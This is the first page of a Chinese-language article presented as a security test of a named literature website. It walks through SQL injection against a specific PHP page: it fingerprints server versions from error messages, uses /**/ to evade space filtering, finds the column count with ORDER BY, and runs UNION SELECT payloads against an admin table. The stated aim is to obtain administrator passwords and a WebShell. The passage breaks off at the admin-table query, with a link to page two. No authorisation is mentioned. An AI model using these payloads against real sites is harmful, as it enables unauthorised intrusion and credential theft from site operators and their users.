纵横时空文学站安全检测与渗透测试

纵横时空文学站的地址是 http://xxx.ouou.com，属于 ouou 旗下的一个文学小说站点。整个界面做得相当漂亮，但从技术层面初步一看，底层是 PHP + MySQL 的架构，PHP 版本为 5.1.4-0.1，Web 服务器用的是 Apache/2.0.55。基于这几个线索，基本可以判断服务器跑的是 UNIX 系统——典型的 PMU 架构，也就是 PHP、MySQL、UNIX 的组合。

可能有人会问：Apache 和 MySQL 的版本信息是怎么摸出来的？其实很简单。随便在网站上输入一个不存在的页面路径，看报错信息就能拿到。比如像图1这样：

500)this.width=500" title="点击这里用新窗口浏览图片" />

从图1大致了解了网站的情况，接下来就是常规操作：找 SQL 注入漏洞。随手打开一个带参数的链接，比如 http://xzx.ouou.com/newslook.php?id=29，然后加一个单引号测试。结果成功返回了错误信息，还爆出了 Web 绝对路径，如图2所示：

500)this.width=500" title="点击这里用新窗口浏览图片" />

错误信息如下：

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /data/webroot/zh/newslook.php on line 264

通过路径 /data/webroot/zh/newslook.php 可以确认服务器是 UNIX 系统。接着用 and 1=1 和 and 1=2 来判断注入是否存在：

http://xx.ouou.com/newslook.php?id=29【/**/and/**/1=1】——注意这里用 /**/ 替代空格，因为有些站点会过滤空格。返回正常。

http://xx.ouou.com/newslook.php?id=29【/**/and/**/1=2】——返回错误。到此可以确定 http://xx.ouou.com/newslook.php?id=29 存在注入漏洞。

既然有漏洞，就顺着这个注入点找管理员的密码，进而登录后台获取 WebShell。先爆一下字段数：

用 /**/order/**/by/**/10 来判断字段是否小于10：

http://XX.ouou.com/newslook.php?id=29【/**/order/**/by/**/10】——如图3所示，页面返回错误，说明字段数小于10。

500)this.width=500" title="点击这里用新窗口浏览图片" />

继续用 order by 9、8、7、6、5、4 逐个尝试，直到执行 order by 4 时页面返回正常，如图4所示：

500)this.width=500" title="点击这里用新窗口浏览图片" />

观察到 order by 4 正常，说明存在4个字段。前面已经知道 MySQL 版本，不需要再判断是否支持 union 联合查询——直接开搞。

接着猜解密码：

http://xx.ouou.com/newslook.php?id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4

返回了几个数字，账号密码之后就会从这里显示出来。然后爆字段名，经过一段时间的猜解，最终确定表名为 admin。

http://xx.ouou.com/newslook.php?id=29/**/and/**/1=2/**/union/**/select/**/1,2,3,4/**/from/**/admin —— 如图5所示：

500)this.width=500" title="点击这里用新窗口浏览图片" />

上一页12 下一页 阅读全文